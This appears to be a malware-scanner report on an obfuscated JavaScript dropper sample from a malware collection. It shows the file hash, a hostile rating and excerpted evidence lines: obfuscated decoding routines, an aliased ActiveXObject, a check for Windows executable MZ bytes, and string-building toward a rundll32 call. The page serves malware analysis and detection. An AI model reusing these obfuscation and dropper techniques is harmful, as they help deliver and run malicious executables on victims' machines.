Hostile ^100% javascript-malware-collection Download

20161221_60b63650108d0a0035eb096a2eb80cbe.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-256401e33050df1b81f8d276700faf64e8e1ce83af1c921f34013cfe9d6b5cf0c62

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikfamiliarFROG2XCOP = 0;	
9     var SupchikfamiliarRazlomSS, SupchikfamiliarFROG2ddDccC2, SupchikfamiliarFROG2c3, SupchikfamiliarFROG2c4;
10
11     var SupchikfamiliarFROG2out = "";
12
13	 var SupchikfamiliarFROG2Supchikfamiliarka= this.replace(/FROSTICK/gi, SupchikfamiliarFROG2out);
14 var  SupchikfamiliarFROG2len = SupchikfamiliarFROG2sud …

charCodeAt() method call lines 18–20

4…  var Supchikfamiliarkoch = SupchikfamiliarFROG2Supchikfamiliarka.charCodeAt(SupchikfamiliarFROG2XCOP++) &(0x132- 0x33);
          SupchikfamiliarRazlomSS = levitron[Supchikfamiliarkoch];
      } while (SupchikfamiliarFROG2XCOP < Supchikfam …

Builds characters with String.fromCharCode lines 27–30

41… +1== 0)
          break;
      SupchikfamiliarFROG2out += String['fromCharCode']((SupchikfamiliarRazlomSS << 2) | ((SupchikfamiliarFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikfamiliarFROG2c3 = Supchikf …

ActiveXObject via local alias lines 185–188

19… arFROG2d2=SupchikfamiliarFROG2DoUtra.pop();
186SupchikfamiliarFROG2fabled="Valar2Morgulis";
var SupchikfamiliarFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikfamiliarFROG2d2.split("45");SupchikfamiliarFROG2Native.SupchikfamiliarFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikfamiliarFROG2$type(a)===b} …

Checks array for PE magic bytes lines 257–264

77… alabaev);	
if(SupchikfamiliarTalabaevLaa < 29989)return false;
if (SupchikfamiliarTalabaev[0]!= 77 || SupchikfamiliarTalabaev[1]!= 90)return false;		
SupchikfamiliarFROG2CHICKA = SupchikfamiliarFROG2CHICKA  + SupchikfamiliarFROG2SIDRENKOV;
REBEKK2(SupchikfamiliarFROG2CHICKA, SupchikfamiliarTalabaev );
262
var SupchikfamiliarFROG2ddsSSddSd = ",happy";
264SupchikfamiliarFROG2ddsSSddSd = (SupchikfamiliarFROG2StrokaParam2,"undl") + (SupchikfamiliarFROG2StrokaParam2,"l32 ") + Supch …